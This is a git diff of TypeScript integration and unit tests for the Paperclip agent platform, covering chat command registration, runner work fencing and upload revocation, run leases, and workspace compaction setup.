it("persists registration before enabling the runtime and preserves unrelated commands", async () => {
|
||||
const f = await registrationFixture();
|
||||
try {
|
||||
await f.configure();
|
||||
const connected = await f.service.get(f.endpoint.id);
|
||||
expect(connected?.capabilities).toMatchObject({
|
||||
slashCommands: true,
|
||||
ephemeralMessages: true,
|
||||
});
|
||||
expect(
|
||||
f.runtime.configurations.get(f.endpoint.id)?.callbacks.onSlashCommand,
|
||||
).toBeTypeOf("function");
|
||||
expect(f.calls).toEqual(["GET", "POST"]);
|
||||
expect(f.commandRows().map((row) => row.name)).toEqual([
|
||||
"other",
|
||||
"paperclip",
|
||||
]);
|
||||
const [registration] = await db
|
||||
.select()
|
||||
.from(chatActions)
|
||||
.where(
|
||||
and(
|
||||
eq(chatActions.endpointId, f.endpoint.id),
|
||||
eq(chatActions.kind, "discord_command_registration"),
|
||||
),
|
||||
);
|
||||
expect(registration?.status).toBe("processed");
|
||||
expect(registration?.payload.registration).toMatchObject({
|
||||
phase: "registered",
|
||||
});
|
||||
expect(JSON.stringify(registration)).not.toContain(
|
||||
f.credentials.botToken,
|
||||
);
|
||||
await f.service.reconcileProviderRuntimes();
|
||||
expect(f.calls).toEqual(["GET", "POST"]);
|
||||
} finally {
|
||||
await retireRegistrationFixture(f.service, f.endpoint.id);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps mention setup usable on registration failure and upgrades automatically when due", async () => {
|
||||
const f = await registrationFixture("unavailable");
|
||||
try {
|
||||
@@ -6150,6 +6110,37 @@ describeEmbeddedPostgres("chat channel control-plane integration", () => {
|
||||
)!.callbacks;
|
||||
expect(originalCallbacks.onMessage).toBeTypeOf("function");
|
||||
expect(originalCallbacks.onSlashCommand).toBeTypeOf("function");
|
||||
const connected = await f.service.get(f.endpoint.id);
|
||||
expect(connected?.capabilities).toMatchObject({
|
||||
slashCommands: true,
|
||||
ephemeralMessages: true,
|
||||
});
|
||||
expect(
|
||||
f.runtime.configurations.get(f.endpoint.id)?.callbacks.onSlashCommand,
|
||||
).toBeTypeOf("function");
|
||||
expect(f.calls).toEqual(["GET", "POST"]);
|
||||
expect(f.commandRows().map((row) => row.name)).toEqual([
|
||||
"other",
|
||||
"paperclip",
|
||||
]);
|
||||
const [registration] = await db
|
||||
.select()
|
||||
.from(chatActions)
|
||||
.where(
|
||||
and(
|
||||
eq(chatActions.endpointId, f.endpoint.id),
|
||||
eq(chatActions.kind, "discord_command_registration"),
|
||||
),
|
||||
);
|
||||
expect(registration?.status).toBe("processed");
|
||||
expect(registration?.payload.registration).toMatchObject({
|
||||
phase: "registered",
|
||||
});
|
||||
expect(JSON.stringify(registration)).not.toContain(
|
||||
f.credentials.botToken,
|
||||
);
|
||||
await f.service.reconcileProviderRuntimes();
|
||||
expect(f.calls).toEqual(["GET", "POST"]);
|
||||
const shutdown = vi.spyOn(original!, "shutdown");
|
||||
const targetRestart = vi.fn(async () => {
|
||||
throw new Error(
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { expect, it } from "vitest";
|
||||
import type { Db } from "@paperclipai/db";
|
||||
import { companySkillService } from "../services/company-skills.js";
|
||||
|
||||
const databaseAccess = new Error("Runtime selection touched the inventory database");
|
||||
const db = new Proxy({} as Db, { get() { throw databaseAccess; } });
|
||||
|
||||
it.each([
|
||||
{ onlyKeys: new Set<string>() },
|
||||
{ onlyKeys: new Set<string>(), includeLegacy: true, selectionConfig: { paperclipSkillSync: { desiredSkills: ["selected"] } } },
|
||||
{ selectionConfig: {} },
|
||||
{ selectionConfig: { paperclipSkillSync: { desiredSkills: [] } } },
|
||||
{ selectionConfig: { paperclipSkillSync: { desiredSkills: [" ", null, {}] } } },
|
||||
])("does no inventory work for an empty runtime selection: %o", async options => {
|
||||
await expect(companySkillService(db).listRuntimeSkillEntries(randomUUID(), options)).resolves.toEqual([]);
|
||||
});
|
||||
|
||||
it.each([
|
||||
{},
|
||||
{ includeLegacy: true, selectionConfig: {} },
|
||||
{ includeLegacy: true, selectionConfig: { paperclipSkillSync: { desiredSkills: [] } } },
|
||||
{ selectionConfig: { paperclipSkillSync: { desiredSkills: ["selected"] } } },
|
||||
{ onlyKeys: new Set(["selected"]), selectionConfig: {} },
|
||||
])("retains inventory resolution for a requested or legacy skill set: %o", async options => {
|
||||
await expect(companySkillService(db).listRuntimeSkillEntries(randomUUID(), options)).rejects.toBe(databaseAccess);
|
||||
});
|
||||
@@ -2,7 +2,7 @@ import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { localPaperclipRunnerSupported } from "../lib/agent-runner-platform.js";
|
||||
import { paperclipRunnerSupportsPlatform } from "@paperclipai/shared";
|
||||
|
||||
import {
|
||||
paperclipRunnerBinaryNeedsBuild,
|
||||
@@ -65,8 +65,7 @@ describe("paperclip runner native dev prerequisite", () => {
|
||||
it.each(["x64", "arm64"].flatMap(architecture => [[undefined, false], ["2.38", false], ["2.39", true], ["3.0", true]].map(([glibcVersionRuntime, native]) => ({ architecture, glibcVersionRuntime, native }))))("uses the measured libc prerequisite on Linux $architecture/$glibcVersionRuntime when no native run or flag requires it", ({ architecture, glibcVersionRuntime, native }) => {
|
||||
Object.defineProperty(process, "platform", { ...initialPlatform, value: "linux" });
|
||||
Object.defineProperty(process, "arch", { ...initialArchitecture, value: architecture });
|
||||
vi.spyOn(process.report, "getReport").mockReturnValue({ header: { glibcVersionRuntime } } as never);
|
||||
const nativeRunnerRequired = localPaperclipRunnerSupported();
|
||||
const nativeRunnerRequired = paperclipRunnerSupportsPlatform("codex_local", "linux", architecture, glibcVersionRuntime ? "glibc" : "unknown", glibcVersionRuntime as string | undefined);
|
||||
expect(nativeRunnerRequired).toBe(native);
|
||||
expect(paperclipRunnerBinaryNeedsBuild({ repoRoot: "/checkout/without/a/staged/binary", nativeRunnerRequired })).toBe(native);
|
||||
});
|
||||
|
||||
@@ -16,7 +16,7 @@ import express, { type Request } from "express";
|
||||
import request from "supertest";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import { grokBotRoutines, grokBotDispatches, agents, authUsers, companies, companyMemberships, createDb, dotAgentBindings, dotMailboxItems, dotRunnerAssignments, dotRunnerOperations,
|
||||
heartbeatRuns, agentWakeupRequests, issueComments, issues, nativeRunResults, nativeRunFinalizations, completionContracts, mcpEventDeliveries, mcpEventSubscriptions, workspaceOperations, workAssessments, statusDecisions, issueThreadInteractions } from "@paperclipai/db";
|
||||
heartbeatRuns, mcpOauthGrants, issueAttachments, agentWakeupRequests, issueComments, issues, nativeRunResults, nativeRunFinalizations, completionContracts, mcpEventDeliveries, mcpEventSubscriptions, workspaceOperations, workAssessments, statusDecisions, issueThreadInteractions } from "@paperclipai/db";
|
||||
import { startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
import { createPublicMcpOAuth, DEVICE_GRANT } from "../services/public-mcp/oauth.js";
|
||||
import { createPublicMcpExecutor } from "../services/public-mcp/capabilities.js";
|
||||
@@ -25,6 +25,7 @@ import { createPublicMcpEvents, type EventFetch } from "../services/public-mcp/e
|
||||
import { instanceSettingsService } from "../services/instance-settings.js";
|
||||
import { canonicalNativeRuntimeContextDigest, type StrictCompletionContractInput } from "../vendor/paperclip-runner/index.js";
|
||||
import { createDotRunnerMcpTools, dotRunnerBroker } from "../services/dot-runner-broker.js";
|
||||
import { PaperclipRunnerToolAuthority } from "../services/native-runtime/paperclip-runner-tool-authority.js";
|
||||
import { prepareNativeHeartbeatRun } from "../services/native-runtime/prepare-native-run.js";
|
||||
import { buildNativeExecutionInput } from "../services/native-runtime/native-execution-input.js";
|
||||
import { nativeRuntimeContextFixture } from "../services/native-runtime/runtime-context.test-fixture.js";
|
||||
@@ -451,6 +452,21 @@ describe("durable Dot Runner integration", () => {
|
||||
} finally { await f.events.stop(); }
|
||||
}, 30000);
|
||||
|
||||
it("fences a failed Grok run's remaining external assignment without stopping a successor", async () => {
|
||||
const f = await fixture({ provider: "grok_bot" });
|
||||
const old = await offeredWork(f);
|
||||
await db.update(heartbeatRuns).set({ status: "failed" }).where(eq(heartbeatRuns.id, old.run.id));
|
||||
expect(await f.broker.stopGrokWork(f.company.id, f.agent.id, f.userId, old.run.id))
|
||||
.toMatchObject({ stopped: true, remoteTerminationConfirmed: false });
|
||||
expect((await db.select().from(dotRunnerAssignments).where(eq(dotRunnerAssignments.runId, old.run.id)))[0]?.status).toBe("fenced");
|
||||
expect(await grokRoutineService(db).recoveryNeeded(f.company.id, f.agent.id)).toBe(true);
|
||||
await expect(f.broker.read(f.principal, old.assignment.id)).rejects.toThrow();
|
||||
const current = await offeredWork(f);
|
||||
await expect(f.broker.stopGrokWork(f.company.id, f.agent.id, f.userId, old.run.id)).rejects.toThrow("changed");
|
||||
expect((await db.select().from(dotRunnerAssignments).where(eq(dotRunnerAssignments.id, current.assignment.id)))[0]?.status).toBe("offered");
|
||||
await f.events.stop();
|
||||
});
|
||||
|
||||
it.each(["queued", "running"] as const)("stops a %s Grok run before an external assignment exists", async status => {
|
||||
const f = await fixture({ provider: "grok_bot" });
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId: f.company.id, agentId: f.agent.id, status, invocationSource: "assignment", triggerDetail: "system" }).returning();
|
||||
@@ -752,18 +768,20 @@ describe("durable Dot Runner integration", () => {
|
||||
}, 30000);
|
||||
|
||||
it.each([
|
||||
{ name: "Dot local Rust", managed: false, provider: "openai_dot" as const },
|
||||
{ name: "Grok local Rust", managed: false, provider: "grok_bot" as const },
|
||||
...(process.env.PAPERCLIP_DOT_DAYTONA_LIVE === "1" ? [{ name: "private Daytona Rust", managed: true, provider: "openai_dot" as const }] : []),
|
||||
])("signed readiness, native tools and finalization through $name", async ({ managed, provider }) => {
|
||||
{ name: "Dot local Rust", managed: false, provider: "openai_dot" as const, revokeDuringUpload: false },
|
||||
{ name: "Grok local Rust", managed: false, provider: "grok_bot" as const, revokeDuringUpload: false },
|
||||
{ name: "Grok upload revocation Rust", managed: false, provider: "grok_bot" as const, revokeDuringUpload: true },
|
||||
...(process.env.PAPERCLIP_DOT_DAYTONA_LIVE === "1" ? [{ name: "private Daytona Rust", managed: true, provider: "openai_dot" as const, revokeDuringUpload: false }] : []),
|
||||
])("signed readiness, native tools and finalization through $name", async ({ managed, provider, revokeDuringUpload }) => {
|
||||
const remote = managed ? await (await import("./helpers/dot-daytona.js")).startDotDaytona(root) : null;
|
||||
try {
|
||||
const f = await fixture({ provider });
|
||||
const [issue] = await db.insert(issues).values({ companyId: f.company.id, title: "Save the arithmetic report", description: "Save 17 + 25 = 42 as a task document.",
|
||||
const [issue] = await db.insert(issues).values({ companyId: f.company.id, title: "Save the arithmetic report", description: provider === "grok_bot" ? "Save 17 + 25 = 42 as a task document and attach report.txt." : "Save 17 + 25 = 42 as a task document.",
|
||||
status: "in_progress", workMode: "standard", assigneeAgentId: f.agent.id }).returning();
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId: f.company.id, agentId: f.agent.id, status: "running", invocationSource: "assignment", triggerDetail: "system", contextSnapshot: { issueId: issue!.id } }).returning();
|
||||
await db.update(issues).set({ executionRunId: run!.id, checkoutRunId: run!.id }).where(eq(issues.id, issue!.id));
|
||||
const prepared = await prepareNativeHeartbeatRun({ db, run: run!, issue: issue!, environmentLeaseId: randomUUID() });
|
||||
await db.update(heartbeatRuns).set({ driverKind: provider === "grok_bot" ? "grok_bot_mcp" : "openai_dot_mcp" }).where(eq(heartbeatRuns.id, run!.id));
|
||||
await db.insert(nativeRunFinalizations).values({ runId: run!.id, companyId: f.company.id, issueId: issue!.id, phase: "observed" });
|
||||
const [boundRun] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, run!.id));
|
||||
const [contract] = await db.select().from(completionContracts).where(eq(completionContracts.id, boundRun!.completionContractId!));
|
||||
@@ -818,12 +836,17 @@ describe("durable Dot Runner integration", () => {
|
||||
expect(await f.broker.operation(f.principal, assignment!.id, randomUUID(), "tool", { name: "write_document", arguments: {} })).toMatchObject({ status: "rejected" });
|
||||
await f.broker.operation(f.principal, assignment!.id, randomUUID(), "accept", {});
|
||||
expect(JSON.stringify(work)).not.toContain("fixture-gateway-secret");
|
||||
let uploadedDeliverableId: string | undefined;
|
||||
if (provider === "grok_bot") {
|
||||
const files = new Map<string, Buffer>();
|
||||
let storingUpload = false;
|
||||
let releaseUploadStorage!: () => void;
|
||||
const uploadStorageRelease = new Promise<void>(resolve => { releaseUploadStorage = resolve; });
|
||||
const transfers = createPublicMcpTransfers(db, f.oauth, async () => { throw new Error("Personal API dispatch forbidden"); }, {
|
||||
provider: "local_disk", putFile: async input => {
|
||||
if (!Buffer.isBuffer(input.body)) throw new Error("Expected bounded bytes");
|
||||
const objectKey = input.objectKey!; files.set(objectKey, input.body);
|
||||
if (revokeDuringUpload) { storingUpload = true; await uploadStorageRelease; }
|
||||
return { provider: "local_disk", objectKey, contentType: input.contentType, byteSize: input.body.length,
|
||||
sha256: createHash("sha256").update(input.body).digest("hex"), originalFilename: input.originalFilename };
|
||||
}, getObject: async (_company, key) => ({ stream: Readable.from(files.get(key)!) }),
|
||||
@@ -834,10 +857,88 @@ describe("durable Dot Runner integration", () => {
|
||||
const args = { companyId: f.company.id, taskId: issue!.id, requestId: uploadId, filename: "report.txt", contentType: "text/plain", byteSize: body.length, sha256: createHash("sha256").update(body).digest("hex") };
|
||||
const grant = await transfers.getUploadUrl(f.principal, args, assignment!.id);
|
||||
const url = new URL(String(grant.url));
|
||||
const uploaded = await request(api).put(url.pathname + url.search).set("Content-Type", "text/plain").send(body);
|
||||
if (revokeDuringUpload) {
|
||||
const uploading = request(api).put(url.pathname + url.search).set("Content-Type", "text/plain").send(body)
|
||||
.then(response => response);
|
||||
let revoked = false;
|
||||
let revoking: Promise<void> | undefined;
|
||||
try {
|
||||
await vi.waitFor(() => expect(storingUpload).toBe(true), { timeout: 10000, interval: 20 });
|
||||
revoking = f.broker.revoke(f.company.id, f.agent.id, f.userId).then(() => { revoked = true; });
|
||||
void revoking.catch(() => {});
|
||||
// Revocation must not wait for remote storage, and late bytes
|
||||
// cannot produce accepted artifacts or completion evidence.
|
||||
await vi.waitFor(() => expect(revoked).toBe(true), { timeout: 3000, interval: 20 });
|
||||
} finally { releaseUploadStorage(); }
|
||||
await revoking;
|
||||
expect((await uploading).status).toBe(403);
|
||||
await resultPromise.catch(() => {});
|
||||
const [revokedGrant] = await db.select().from(mcpOauthGrants).where(eq(mcpOauthGrants.id, f.principal.grant.id));
|
||||
expect(revokedGrant!.revokedAt).not.toBeNull();
|
||||
expect((await db.select().from(dotRunnerAssignments).where(eq(dotRunnerAssignments.id, assignment!.id)))[0]!.status).toBe("fenced");
|
||||
expect(await db.select().from(issueAttachments).where(eq(issueAttachments.issueId, issue!.id))).toHaveLength(0);
|
||||
const [cancelledRun] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, run!.id));
|
||||
expect(Object.keys((cancelledRun?.resultJson?.semanticToolReceipts ?? {}) as Record<string, unknown>)
|
||||
.filter(key => key.startsWith("external-upload:"))).toHaveLength(0);
|
||||
return;
|
||||
}
|
||||
// Hold the document transaction at its task lock, then start the real
|
||||
// HTTP upload. The native document write must still acquire its run
|
||||
// lock and commit; a run-before-task upload deadlocks this overlap.
|
||||
let concurrentUpload: Promise<request.Response> | undefined;
|
||||
let earlyUpload: request.Response | undefined;
|
||||
await db.transaction(async tx => {
|
||||
await tx.select({ id: issues.id }).from(issues).where(eq(issues.id, issue!.id)).for("update");
|
||||
const [backend] = await tx.execute(sql`select pg_backend_pid() as pid`) as unknown as Array<{ pid: number }>;
|
||||
concurrentUpload = request(api).put(url.pathname + url.search).set("Content-Type", "text/plain").send(body)
|
||||
.then(response => { earlyUpload = response; return response; });
|
||||
await vi.waitFor(async () => {
|
||||
expect(earlyUpload?.status, JSON.stringify(earlyUpload?.body)).toBeUndefined();
|
||||
const [state] = await db.execute(sql`select exists (
|
||||
select 1 from pg_stat_activity where ${backend!.pid} = any(pg_blocking_pids(pid))
|
||||
) as waiting`) as unknown as Array<{ waiting: boolean }>;
|
||||
expect(state!.waiting).toBe(true);
|
||||
}, { timeout: 10000, interval: 20 });
|
||||
// Use the same native authority inside this already-open document
|
||||
// transaction, retaining every real identity and mutation check.
|
||||
const documentDb = Object.assign(Object.create(tx), {
|
||||
transaction: async (effect: (database: typeof db) => Promise<unknown>) => effect(tx as unknown as typeof db),
|
||||
}) as typeof db;
|
||||
const authority = new PaperclipRunnerToolAuthority(documentDb, {
|
||||
companyId: f.company.id, issueId: issue!.id, agentId: f.agent.id, runId: run!.id, firstPartyOnly: true,
|
||||
});
|
||||
try {
|
||||
expect(await authority.execute({ tool: "write_document", callId: randomUUID(), arguments: {
|
||||
key: "upload-overlap", title: "Concurrent document", body: "Saved while the file is uploading.",
|
||||
baseRevisionId: null, idempotencyKey: "upload-overlap",
|
||||
} })).toMatchObject({ disposition: "applied" });
|
||||
} finally { authority.close(); }
|
||||
});
|
||||
const uploaded = await concurrentUpload!;
|
||||
expect(uploaded.status).toBe(200);
|
||||
const duplicate = await request(api).put(url.pathname + url.search).set("Content-Type", "text/plain").send(body);
|
||||
expect((await documentService(db).getIssueDocumentByKey(issue!.id, "upload-overlap"))?.body)
|
||||
.toBe("Saved while the file is uploading.");
|
||||
uploadedDeliverableId = uploaded.body.attachment.id;
|
||||
expect(uploaded.body.publication).toMatchObject({ evidenceRef: `deliverable:${uploadedDeliverableId}`,
|
||||
commandId: `deliverable-uploaded:${uploadedDeliverableId}`, source: "authenticated_upload" });
|
||||
const duplicates = await Promise.all([0, 1].map(() => request(api).put(url.pathname + url.search)
|
||||
.set("Content-Type", "text/plain").send(body)));
|
||||
expect(duplicates.every(response => response.status === 200)).toBe(true);
|
||||
expect(duplicates[0]!.body).toEqual(duplicates[1]!.body);
|
||||
const duplicate = duplicates[0]!;
|
||||
expect(duplicate.body.attachment.id).toBe(uploaded.body.attachment.id);
|
||||
expect(duplicate.body.publication).toEqual(uploaded.body.publication);
|
||||
expect(await transfers.getUploadUrl(f.principal, args, assignment!.id)).toMatchObject({
|
||||
status: "completed", publication: uploaded.body.publication, attachment: { id: uploadedDeliverableId },
|
||||
});
|
||||
const [publishedRun] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, run!.id));
|
||||
expect(Object.values(publishedRun!.resultJson!.semanticToolReceipts as Record<string, unknown>))
|
||||
.toEqual(expect.arrayContaining([
|
||||
expect.objectContaining({ operationId: "publish_external_deliverable" }),
|
||||
expect.objectContaining({ operationId: "write_document", input: expect.objectContaining({ key: "upload-overlap" }) }),
|
||||
]));
|
||||
expect(Object.keys(publishedRun!.resultJson!.semanticToolReceipts as Record<string, unknown>)
|
||||
.filter(key => key.startsWith("external-upload:"))).toHaveLength(1);
|
||||
expect(await issueService(db).getAttachmentById(uploaded.body.attachment.id)).toMatchObject({ createdByAgentId: f.agent.id, originatingRunId: run!.id, createdByUserId: null });
|
||||
await expect(transfers.getUploadUrl(f.principal, { ...args, taskId: randomUUID() }, assignment!.id)).rejects.toThrow();
|
||||
const download = new URL(String((await transfers.getDownloadUrl(f.principal, uploaded.body.attachment.id, assignment!.id)).url));
|
||||
@@ -894,7 +995,15 @@ describe("durable Dot Runner integration", () => {
|
||||
const result = { reportedWorkDisposition: "completed", summary: "Saved the arithmetic report.",
|
||||
completionClaim: { contractRevision: execution.completionContract.contract.revision, objectiveSatisfied: true,
|
||||
criteria: execution.completionContract.contract.criteria.map(c => ({ criterionId: c.id, status: "passed", evidenceRefs: [] })), remainingWork: [] },
|
||||
evidence: [], verification: [{ commandOrCheck: "17 + 25", status: "pass" }] };
|
||||
evidence: uploadedDeliverableId ? [{ ref: `deliverable:${uploadedDeliverableId}` }] : [], verification: [{ commandOrCheck: "17 + 25", status: "pass" }] };
|
||||
if (uploadedDeliverableId) {
|
||||
const missingEvidenceId = randomUUID();
|
||||
await f.broker.operation(f.principal, assignment!.id, missingEvidenceId, "tool", {
|
||||
name: "paperclip_finish", arguments: { ...result, evidence: [] },
|
||||
});
|
||||
await vi.waitFor(async () => expect(await f.broker.operationStatus(f.principal, assignment!.id, missingEvidenceId))
|
||||
.toMatchObject({ status: "completed", isError: true, result: { error: expect.stringContaining("requested file") } }), { timeout: 10000 });
|
||||
}
|
||||
const completionId = randomUUID();
|
||||
await f.broker.operation(f.principal, assignment!.id, completionId, "tool", { name: "paperclip_finish", arguments: result });
|
||||
await vi.waitFor(async () => expect(await f.broker.operationStatus(f.principal, assignment!.id, completionId)).toMatchObject({ status: "completed", isError: false }), { timeout: 10000 });
|
||||
|
||||
@@ -398,29 +398,6 @@ describe("a rejected capability resolution fails closed for persistent-session b
|
||||
mockResolveEnvironmentDriverConfigForRuntime.mockReset();
|
||||
});
|
||||
|
||||
it("omits the snapshot when the resolution rejects", async () => {
|
||||
// A rejected resolution carries no snapshot; the target never publishes a
|
||||
// guessed capability set.
|
||||
const { target } = await buildSandboxTarget({
|
||||
snapshot: null,
|
||||
supportsSync: false,
|
||||
rejectResolution: true,
|
||||
});
|
||||
expect(target.effectiveCapabilities).toBeUndefined();
|
||||
});
|
||||
|
||||
it("carries no snapshot for session-output streaming when the resolution rejects", async () => {
|
||||
// A rejected resolution must not read as an open grant that enables
|
||||
// streaming. The target carries no snapshot, so the bridge keeps the host
|
||||
// output-file poll path.
|
||||
const { target } = await buildSandboxTarget({
|
||||
snapshot: null,
|
||||
supportsSync: false,
|
||||
rejectResolution: true,
|
||||
});
|
||||
expect(target.effectiveCapabilities).toBeUndefined();
|
||||
});
|
||||
|
||||
it("never forces the persistent session when the resolution rejects", async () => {
|
||||
// The bridge asks for the session with `useSession`, but a rejected
|
||||
// resolution fails closed, so the seam runs the command one-shot instead.
|
||||
@@ -429,6 +406,7 @@ describe("a rejected capability resolution fails closed for persistent-session b
|
||||
supportsSync: false,
|
||||
rejectResolution: true,
|
||||
});
|
||||
expect(target.effectiveCapabilities).toBeUndefined();
|
||||
await target.runner?.execute({ command: "node", args: ["agent.js"], useSession: true });
|
||||
const call = execute.mock.calls[0]![0] as { forceSession?: boolean };
|
||||
expect(call.forceSession).toBe(false);
|
||||
|
||||
@@ -1368,7 +1368,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("acquires and releases a local run lease through the runtime seam", async () => {
|
||||
it("acquires and releases a projectless local run lease through the runtime seam", async () => {
|
||||
const { companyId, environment, runId } = await seedEnvironment();
|
||||
|
||||
const acquired = await runtime.acquireRunLease({
|
||||
@@ -1380,6 +1380,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
|
||||
});
|
||||
|
||||
expect(acquired.lease.status).toBe("active");
|
||||
expect(acquired.lease.executionWorkspaceId).toBeNull();
|
||||
expect(acquired.lease.metadata).toMatchObject({
|
||||
driver: "local",
|
||||
executionWorkspaceMode: null,
|
||||
@@ -1402,22 +1403,6 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
|
||||
expect(rows[0]?.status).toBe("released");
|
||||
});
|
||||
|
||||
it("allows projectless runs through the runtime seam", async () => {
|
||||
const { companyId, environment, runId } = await seedEnvironment();
|
||||
|
||||
const acquired = await runtime.acquireRunLease({
|
||||
companyId,
|
||||
environment,
|
||||
issueId: null,
|
||||
heartbeatRunId: runId,
|
||||
persistedExecutionWorkspace: null,
|
||||
});
|
||||
|
||||
expect(acquired.lease.executionWorkspaceId).toBeNull();
|
||||
expect(acquired.leaseContext.executionWorkspaceId).toBeNull();
|
||||
expect(acquired.leaseContext.executionWorkspaceMode).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects truly unsupported drivers before acquiring a lease", async () => {
|
||||
const { companyId, agentId, environment, runId } = await seedEnvironment({
|
||||
driver: "ssh",
|
||||
|
||||
@@ -0,0 +1,570 @@
|
||||
import { EMBEDDED_POSTGRES_TEST_TIMEOUT_MS } from "@paperclipai/db";
|
||||
import { execFile } from "node:child_process";
|
||||
import { randomUUID } from "node:crypto";
|
||||
import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { promisify } from "node:util";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
import {
|
||||
activityLog,
|
||||
agents,
|
||||
companies,
|
||||
createDb,
|
||||
executionWorkspaces,
|
||||
heartbeatRuns,
|
||||
issues,
|
||||
projectWorkspaces,
|
||||
projects,
|
||||
workspaceRuntimeServices,
|
||||
} from "@paperclipai/db";
|
||||
import {
|
||||
getEmbeddedPostgresTestSupport,
|
||||
startEmbeddedPostgresTestDatabase,
|
||||
} from "./helpers/embedded-postgres.js";
|
||||
import {
|
||||
executionWorkspaceService,
|
||||
type ExecutionWorkspaceServiceOptions,
|
||||
} from "../services/execution-workspaces.ts";
|
||||
import { realizeExecutionWorkspace } from "../services/workspace-runtime.ts";
|
||||
import { WORKSPACE_COMPACTION_TRASH_DIR } from "../services/workspace-compaction.ts";
|
||||
|
||||
const execFileAsync = promisify(execFile);
|
||||
const HOUR_MS = 60 * 60 * 1000;
|
||||
|
||||
const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
|
||||
const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
|
||||
|
||||
if (!embeddedPostgresSupport.supported) {
|
||||
console.warn(
|
||||
`Skipping embedded Postgres workspace compaction tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
|
||||
);
|
||||
}
|
||||
|
||||
async function git(cwd: string, args: string[]) {
|
||||
const output = await execFileAsync("git", ["-C", cwd, ...args], { cwd });
|
||||
return output.stdout.trim();
|
||||
}
|
||||
|
||||
async function exists(filePath: string) {
|
||||
return fs.lstat(filePath).then(() => true, () => false);
|
||||
}
|
||||
|
||||
async function writeFile(filePath: string, contents: string) {
|
||||
await fs.mkdir(path.dirname(filePath), { recursive: true });
|
||||
await fs.writeFile(filePath, contents, "utf8");
|
||||
}
|
||||
|
||||
async function createRepo() {
|
||||
const repoRoot = await fs.realpath(await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-compaction-")));
|
||||
await git(repoRoot, ["init"]);
|
||||
await git(repoRoot, ["config", "user.name", "Paperclip Test"]);
|
||||
await git(repoRoot, ["config", "user.email", "test@paperclip.local"]);
|
||||
await writeFile(path.join(repoRoot, "README.md"), "# Test repo\n");
|
||||
await writeFile(
|
||||
path.join(repoRoot, ".gitignore"),
|
||||
["node_modules/", "dist/", ".env", ".paperclip/", "local-data/", ""].join("\n"),
|
||||
);
|
||||
await git(repoRoot, ["add", "README.md", ".gitignore"]);
|
||||
await git(repoRoot, ["commit", "-m", "Initial commit"]);
|
||||
await git(repoRoot, ["branch", "-M", "main"]);
|
||||
return repoRoot;
|
||||
}
|
||||
|
||||
// Files a finished task leaves behind. The regenerable directories are the
|
||||
// only paths compaction may remove; everything else is work or data.
|
||||
const REGENERABLE_PATHS = ["node_modules", "packages/app/node_modules", "dist"];
|
||||
const PRESERVED_PATHS = [
|
||||
"notes/findings.md",
|
||||
".env",
|
||||
"local-data/state.json",
|
||||
".paperclip/instances/default/db.txt",
|
||||
];
|
||||
|
||||
async function populateWorktree(worktreePath: string) {
|
||||
await writeFile(path.join(worktreePath, "node_modules/left-pad/index.js"), "module.exports = 1;\n");
|
||||
await writeFile(path.join(worktreePath, "packages/app/node_modules/dep/index.js"), "module.exports = 2;\n");
|
||||
await writeFile(path.join(worktreePath, "dist/server.js"), "built\n");
|
||||
await writeFile(path.join(worktreePath, "notes/findings.md"), "untracked agent notes\n");
|
||||
await writeFile(path.join(worktreePath, ".env"), "TOKEN=local\n");
|
||||
await writeFile(path.join(worktreePath, "local-data/state.json"), "{}\n");
|
||||
await writeFile(path.join(worktreePath, ".paperclip/instances/default/db.txt"), "instance data\n");
|
||||
await fs.appendFile(path.join(worktreePath, "README.md"), "uncommitted edit\n");
|
||||
}
|
||||
|
||||
describeEmbeddedPostgres("terminal workspace compaction", () => {
|
||||
let db!: ReturnType<typeof createDb>;
|
||||
let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
|
||||
const tempDirs = new Set<string>();
|
||||
|
||||
beforeAll(async () => {
|
||||
tempDb = await startEmbeddedPostgresTestDatabase("paperclip-workspace-compaction-");
|
||||
db = createDb(tempDb.connectionString);
|
||||
}, EMBEDDED_POSTGRES_TEST_TIMEOUT_MS);
|
||||
|
||||
afterEach(async () => {
|
||||
await db.delete(workspaceRuntimeServices);
|
||||
await db.delete(activityLog);
|
||||
await db.update(issues).set({ checkoutRunId: null, executionRunId: null, parentId: null });
|
||||
await db.delete(issues);
|
||||
await db.delete(executionWorkspaces);
|
||||
await db.delete(projectWorkspaces);
|
||||
await db.delete(projects);
|
||||
await db.delete(heartbeatRuns);
|
||||
await db.delete(agents);
|
||||
await db.delete(companies);
|
||||
for (const dir of tempDirs) await fs.rm(dir, { recursive: true, force: true });
|
||||
tempDirs.clear();
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await tempDb?.cleanup();
|
||||
});
|
||||
|
||||
function service(options: ExecutionWorkspaceServiceOptions = {}) {
|
||||
return executionWorkspaceService(db, {
|
||||
resolvePullRequestDetails: async () => ({ state: "unknown", headRef: null, headSha: null }),
|
||||
workspaceReaperCooldownDays: 0,
|
||||
workspaceCompactionDelayMs: 0,
|
||||
...options,
|
||||
});
|
||||
}
|
||||
|
||||
async function seedCompany() {
|
||||
const companyId = randomUUID();
|
||||
const projectId = randomUUID();
|
||||
const agentId = randomUUID();
|
||||
